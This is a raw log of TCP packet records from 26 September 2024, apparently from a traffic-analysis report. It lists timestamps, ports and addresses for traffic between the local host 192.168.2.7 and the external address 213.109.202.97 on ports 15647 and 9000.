Sep 26, 2024 01:49:40.057538033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.057570934 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.057632923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.071340084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.071453094 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.088398933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.088531971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.095182896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.095278025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.095587969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.110433102 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.116525888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.116606951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.122054100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.122128010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.132994890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.133093119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.147330046 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.150583982 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.150784969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.152266026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.152333975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.161417007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.161505938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.162314892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.162327051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.162385941 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.176434040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.176446915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.176522017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.182117939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.182171106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.204036951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.204127073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.209579945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.215127945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.219538927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.219561100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.219621897 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.219639063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.225545883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.226982117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.235635996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.235654116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.235688925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.239666939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.239715099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.244596004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.244683027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.250767946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.250781059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.250813007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.263780117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.263834953 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.268415928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.268429041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.268465996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.273191929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.273242950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.274481058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.287894011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.287950993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.288280964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.296454906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.296504974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.302275896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.302288055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.302335024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.306799889 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.306866884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.311629057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.311815977 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.319293022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.319356918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.328090906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.328155994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.328212023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.337038040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.337093115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.355978012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.356055021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.365437031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.365502119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.365897894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.365953922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.370719910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.370768070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.375155926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.375276089 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.380116940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.380167961 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.380757093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.380815029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.385679960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.385790110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.399171114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.399233103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.404009104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.404052973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.435185909 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.440182924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.457763910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.457871914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.463316917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.463367939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.478302002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.478374004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.491482019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.491533041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.522526026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.522588015 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.522696972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.541704893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.541719913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.541755915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.570430040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.574882030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.574939966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.574949980 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.574961901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.575007915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.575026989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.579889059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.583893061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.584407091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.600470066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.600588083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.600646973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.601988077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.613605022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.613656998 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.613715887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.614523888 CEST	9000	58400	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.614578962 CEST	58400	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.614645004 CEST	58400	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.619524956 CEST	9000	58400	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.629090071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.629129887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.636996984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.637265921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.637310028 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.650645018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.650664091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.650758982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.650796890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.667484999 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.672328949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.677026033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.687757015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.687923908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.706254005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.706286907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.706502914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.716160059 CEST	58401	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.720967054 CEST	9000	58401	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.721059084 CEST	58401	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.721231937 CEST	58401	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.725961924 CEST	9000	58401	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.731159925 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.731252909 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.749829054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.749921083 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.749962091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.756966114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.757078886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.757128954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.758176088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.806663990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.808123112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.813015938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.817596912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.819591045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.819674969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.823657036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.823671103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.823736906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.827822924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.827996969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.828074932 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.843122959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.843138933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.843211889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.848089933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.850471020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.851963997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.856734991 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.859689951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.862831116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.862906933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.863024950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.863718987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.867906094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.872239113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.877088070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.877928972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.878000975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.878602028 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.896203041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.900314093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.900331974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.900449991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.901196003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.901263952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.906044960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.907680988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.915946007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.915968895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.916054010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.930346012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.931642056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.939753056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.939793110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.939892054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.941020966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.950212002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.952594042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.955353975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.955444098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.960247993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.964215040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.970453024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:40.971724987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:40.997874022 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.002742052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.005587101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.008430004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.008522987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.013533115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.014324903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.027405024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.028330088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.042817116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.043648958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.062879086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.067713976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.068487883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.073313951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.075481892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.075503111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.075594902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.090284109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.091813087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.097866058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.100395918 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.120701075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.120819092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.120874882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.125799894 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.128235102 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.136077881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.137296915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.151196003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.151236057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.151331902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.155394077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.155443907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.160269976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.160325050 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.169601917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.169612885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.169698000 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.184869051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.184883118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.184961081 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.208831072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.208849907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.208916903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.229542971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.231559992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.243737936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.243748903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.243880033 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.262212992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.262227058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.262265921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.273104906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.273118019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.273190975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.296176910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.301282883 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.301350117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.305150986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.334520102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.334949970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.366554976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.372972965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.374200106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.381320953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.383289099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.385445118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.385466099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.385545015 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.392440081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.403460026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.405010939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.405071974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.405072927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.411833048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.411880970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.419897079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.419930935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.420007944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.427419901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.427553892 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.453828096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.453845978 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.453864098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.453962088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.469538927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.469558954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.469676018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.477787971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.479608059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.496123075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.496139050 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.496253014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.511212111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.513204098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.532108068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.532124996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.532279968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.549098969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.553610086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.556771040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:41.568723917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:41.580617905 CEST	15647	58394	213.109.202.97	192.168.2.7
